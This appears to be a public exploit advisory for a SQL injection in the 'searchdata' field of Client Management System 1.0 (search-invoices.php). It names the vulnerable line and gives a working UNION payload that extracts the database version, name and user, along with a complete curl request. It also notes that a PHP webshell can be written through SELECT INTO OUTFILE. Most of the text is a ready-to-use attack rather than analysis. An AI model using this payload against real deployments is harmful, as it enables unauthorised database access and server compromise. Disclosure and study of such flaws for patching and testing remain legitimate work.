Client Management System version 1.0 suffers from a remote SQL injection vulnerability.
2ff070df59ef7dc08ba4cf8b4ad5cbddc12cee40199cf99715b02b43e3908a14
# Exploit Title: Client Management System 1.0 - 'searchdata' SQL Injection
# Date: 2020-07-14
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/client-management-system-using-php-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10841
# Version: v1.0
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)
Vulnerable File:
----------------
/client/search-invoices.php
Vulnerable Code:
-----------------
line 69: $sdata=$_POST['searchdata'];
Vulnerable Issue:
-----------------
$sdata=$_POST['searchdata']; is not filtered correcty
[+] Any authenticated user/client can inject the following payload inside the Search Invoice Form
[+] Attacker can inject php webshell using SELECT INTO OUTFILE method through this entry point
POC:
----
Payload:
gh1mau' UNION ALL SELECT NULL,CONCAT_WS(0x3a,version(),database(),user()),NULL,NULL-- -&search=
Sample Request:
curl -i -s -k --location --request POST 'https://localhost:80/clientms/client/search-invoices.php' \
--header 'Origin: https://localhost' \
--header 'Cookie: PHPSESSID=g0v05i144dnr9bud7j1mb6n167' \
--header 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' \
--header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0' \
--header 'Connection: close' \
--header 'Referer: https://localhost/clientms/client/search-invoices.php' \
--header 'Host: localhost' \
--header 'Accept-Encoding: gzip, deflate' \
--header 'Upgrade-Insecure-Requests: 1' \
--header 'Accept-Language: en-US,en;q=0.5' \
--header 'Content-Length: 148' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-raw 'searchdata=gh1mau%27+UNION+ALL+SELECT+NULL%2CCONCAT_WS%280x3a%2Cversion%28%29%2Cdatabase%28%29%2Cuser%28%29%29%2CNULL%2CNULL--+-%26search%3D&search='